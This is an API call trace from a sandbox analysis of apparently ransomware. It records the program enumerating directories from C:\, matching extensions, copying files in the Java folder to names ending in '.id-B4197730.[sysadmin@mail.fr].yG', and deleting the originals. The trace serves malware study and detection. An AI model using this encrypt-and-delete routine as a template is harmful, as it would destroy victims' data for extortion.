	[0183.783] lstrlenW (lpString=".pdf") returned 4
	[0183.783] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.783] lstrlenW (lpString=".xls") returned 4
	[0183.783] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.783] lstrlenW (lpString=".xlsx") returned 5
	[0183.783] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0183.783] lstrlenW (lpString=".ppt") returned 4
	[0183.783] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.783] lstrlenW (lpString=".zip") returned 4
	[0183.783] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.783] lstrlenW (lpString=".rar") returned 4
	[0183.783] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.783] lstrlenW (lpString=".bz2") returned 4
	[0183.783] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.783] lstrlenW (lpString=".7z") returned 3
	[0183.783] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.783] lstrlenW (lpString=".dbf") returned 4
	[0183.783] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.783] lstrlenW (lpString=".1cd") returned 4
	[0183.783] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.783] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.784] lstrlenW (lpString=".jpg") returned 4
	[0183.784] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.784] lstrlenW (lpString=".doc") returned 4
	[0183.784] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0183.784] lstrlenW (lpString=".docx") returned 5
	[0183.784] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1
	[0183.784] lstrlenW (lpString=".pdf") returned 4
	[0183.784] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0183.784] lstrlenW (lpString=".xls") returned 4
	[0183.784] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0183.784] lstrlenW (lpString=".xlsx") returned 5
	[0183.784] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1
	[0183.784] lstrlenW (lpString=".ppt") returned 4
	[0183.784] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0183.784] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.784] lstrlenW (lpString=".zip") returned 4
	[0183.784] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0183.784] lstrlenW (lpString=".rar") returned 4
	[0183.784] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0183.784] lstrlenW (lpString=".bz2") returned 4
	[0183.784] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0183.784] lstrlenW (lpString=".7z") returned 3
	[0183.784] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0183.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.785] lstrlenW (lpString=".dbf") returned 4
	[0183.785] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0183.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.785] lstrlenW (lpString=".1cd") returned 4
	[0183.785] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0183.785] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\fontmanager.dll") returned 54
	[0183.785] lstrlenW (lpString=".jpg") returned 4
	[0183.785] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0183.785] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0183.785] lstrlenW (lpString="glib-lite.dll") returned 13
	[0183.785] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0183.788] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=455744) returned 1
	[0183.788] CloseHandle (hObject=0x354) returned 1
	[0183.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 0x20
	[0183.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0183.789] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.789] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.789] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0183.790] GetLastError () returned 0x0
	[0183.790] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x6f440, lpOverlapped=0x0) returned 1
	[0184.230] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0x6f450, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0x6f450, lpOverlapped=0x0) returned 1
	[0184.238] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.239] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1
	[0184.239] SetEndOfFile (hFile=0x36c) returned 1
	[0184.239] CloseHandle (hObject=0x36c) returned 1
	[0184.239] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.239] SetEndOfFile (hFile=0x354) returned 1
	[0184.243] CloseHandle (hObject=0x354) returned 1
	[0184.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.243] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\glib-lite.dll")) returned 1
	[0184.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.244] lstrlenW (lpString=".doc") returned 4
	[0184.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.244] lstrlenW (lpString=".docx") returned 5
	[0184.244] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0184.244] lstrlenW (lpString=".pdf") returned 4
	[0184.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.244] lstrlenW (lpString=".xls") returned 4
	[0184.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.244] lstrlenW (lpString=".xlsx") returned 5
	[0184.244] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0184.244] lstrlenW (lpString=".ppt") returned 4
	[0184.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.244] lstrlenW (lpString=".zip") returned 4
	[0184.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.244] lstrlenW (lpString=".rar") returned 4
	[0184.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.244] lstrlenW (lpString=".bz2") returned 4
	[0184.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.244] lstrlenW (lpString=".7z") returned 3
	[0184.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.244] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.245] lstrlenW (lpString=".dbf") returned 4
	[0184.245] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.245] lstrlenW (lpString=".1cd") returned 4
	[0184.245] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.245] lstrlenW (lpString=".jpg") returned 4
	[0184.245] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.245] lstrlenW (lpString=".doc") returned 4
	[0184.245] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0184.245] lstrlenW (lpString=".docx") returned 5
	[0184.245] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0184.245] lstrlenW (lpString=".pdf") returned 4
	[0184.245] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0184.245] lstrlenW (lpString=".xls") returned 4
	[0184.245] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0184.245] lstrlenW (lpString=".xlsx") returned 5
	[0184.245] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0184.245] lstrlenW (lpString=".ppt") returned 4
	[0184.245] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0184.245] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.245] lstrlenW (lpString=".zip") returned 4
	[0184.245] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0184.245] lstrlenW (lpString=".rar") returned 4
	[0184.245] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0184.246] lstrlenW (lpString=".bz2") returned 4
	[0184.246] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0184.246] lstrlenW (lpString=".7z") returned 3
	[0184.246] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0184.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.246] lstrlenW (lpString=".dbf") returned 4
	[0184.246] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0184.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.246] lstrlenW (lpString=".1cd") returned 4
	[0184.246] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0184.246] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\glib-lite.dll") returned 52
	[0184.246] lstrlenW (lpString=".jpg") returned 4
	[0184.246] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0184.246] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0184.246] lstrlenW (lpString="jabswitch.exe") returned 13
	[0184.246] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0184.247] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=34368) returned 1
	[0184.247] CloseHandle (hObject=0x354) returned 1
	[0184.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 0x20
	[0184.247] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.247] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0184.247] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.247] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.248] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0184.248] GetLastError () returned 0x0
	[0184.248] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x8640, lpOverlapped=0x0) returned 1
	[0184.286] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0x8650, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0x8650, lpOverlapped=0x0) returned 1
	[0184.288] ReadFile (in: hFile=0x354, lpBuffer=0x4168020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fecc, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesRead=0x379fecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.288] WriteFile (in: hFile=0x36c, lpBuffer=0x4168020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x379fc94, lpOverlapped=0x0 | out: lpBuffer=0x4168020*, lpNumberOfBytesWritten=0x379fc94*=0xee, lpOverlapped=0x0) returned 1
	[0184.288] SetEndOfFile (hFile=0x36c) returned 1
	[0184.288] CloseHandle (hObject=0x36c) returned 1
	[0184.288] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.288] SetEndOfFile (hFile=0x354) returned 1
	[0184.289] CloseHandle (hObject=0x354) returned 1
	[0184.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0184.290] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jabswitch.exe")) returned 1
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.290] lstrlenW (lpString=".doc") returned 4
	[0184.290] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0184.290] lstrlenW (lpString=".docx") returned 5
	[0184.290] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1
	[0184.290] lstrlenW (lpString=".pdf") returned 4
	[0184.290] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0184.290] lstrlenW (lpString=".xls") returned 4
	[0184.290] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0184.290] lstrlenW (lpString=".xlsx") returned 5
	[0184.290] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1
	[0184.290] lstrlenW (lpString=".ppt") returned 4
	[0184.290] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0184.290] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.290] lstrlenW (lpString=".zip") returned 4
	[0184.290] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0184.292] lstrlenW (lpString=".rar") returned 4
	[0184.293] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0184.293] lstrlenW (lpString=".bz2") returned 4
	[0184.293] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0184.294] lstrlenW (lpString=".7z") returned 3
	[0184.294] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0184.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.294] lstrlenW (lpString=".dbf") returned 4
	[0184.294] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0184.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.294] lstrlenW (lpString=".1cd") returned 4
	[0184.294] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0184.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.294] lstrlenW (lpString=".jpg") returned 4
	[0184.294] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0184.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.294] lstrlenW (lpString=".doc") returned 4
	[0184.294] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0184.294] lstrlenW (lpString=".docx") returned 5
	[0184.294] lstrcmpiW (lpString1=".docx", lpString2="h.exe") returned -1
	[0184.294] lstrlenW (lpString=".pdf") returned 4
	[0184.294] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0184.294] lstrlenW (lpString=".xls") returned 4
	[0184.294] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0184.294] lstrlenW (lpString=".xlsx") returned 5
	[0184.294] lstrcmpiW (lpString1=".xlsx", lpString2="h.exe") returned -1
	[0184.294] lstrlenW (lpString=".ppt") returned 4
	[0184.294] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0184.294] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.294] lstrlenW (lpString=".zip") returned 4
	[0184.295] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0184.295] lstrlenW (lpString=".rar") returned 4
	[0184.295] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0184.295] lstrlenW (lpString=".bz2") returned 4
	[0184.295] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0184.295] lstrlenW (lpString=".7z") returned 3
	[0184.295] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0184.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.295] lstrlenW (lpString=".dbf") returned 4
	[0184.295] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0184.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.295] lstrlenW (lpString=".1cd") returned 4
	[0184.295] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0184.295] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jabswitch.exe") returned 52
	[0184.295] lstrlenW (lpString=".jpg") returned 4
	[0184.295] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0184.295] lstrcmpiW (lpString1=".exe", lpString2=".yG") returned -1
	[0184.295] lstrlenW (lpString="java-rmi.exe") returned 12
	[0184.295] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0184.723] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379ff14 | out: lpFileSize=0x379ff14*=15936) returned 1
	[0184.723] CloseHandle (hObject=0x354) returned 1
	[0184.723] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe")) returned 0x20
	[0184.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java-rmi.exe.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java-rmi.exe.id-b4197730.[sysadmin@mail.fr].yg")) 

Thread:
	id = 106
	os_tid = 0xcd8

	[0178.614] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x3ce00b0
	[0178.614] lstrlenW (lpString="C:") returned 2
	[0178.614] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38dfcf8 | out: lpFindFileData=0x38dfcf8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x775f0000, dwReserved1=0x0, cFileName="$GetCurrent", cAlternateFileName="$GETCU~1")) returned 0x6ba600
	[0178.615] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0178.615] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1
	[0178.615] lstrlenW (lpString="$GetCurrent") returned 11
	[0178.615] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1
	[0178.615] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4270048
	[0178.616] lstrlenW (lpString="C:\\$GetCurrent") returned 14
	[0178.616] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6ba7c0
	[0178.616] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0178.616] FindNextFileW (in: hFindFile=0x6ba7c0, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Logs", cAlternateFileName="")) returned 1
	[0178.616] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0178.616] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1
	[0178.616] lstrlenW (lpString="Logs") returned 4
	[0178.616] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1
	[0178.616] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xfffe) returned 0x4281058
	[0178.617] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19
	[0178.617] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName=".", cAlternateFileName="")) returned 0x6ba500
	[0178.618] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x97e232ed, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x97e232ed, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="..", cAlternateFileName="")) returned 1
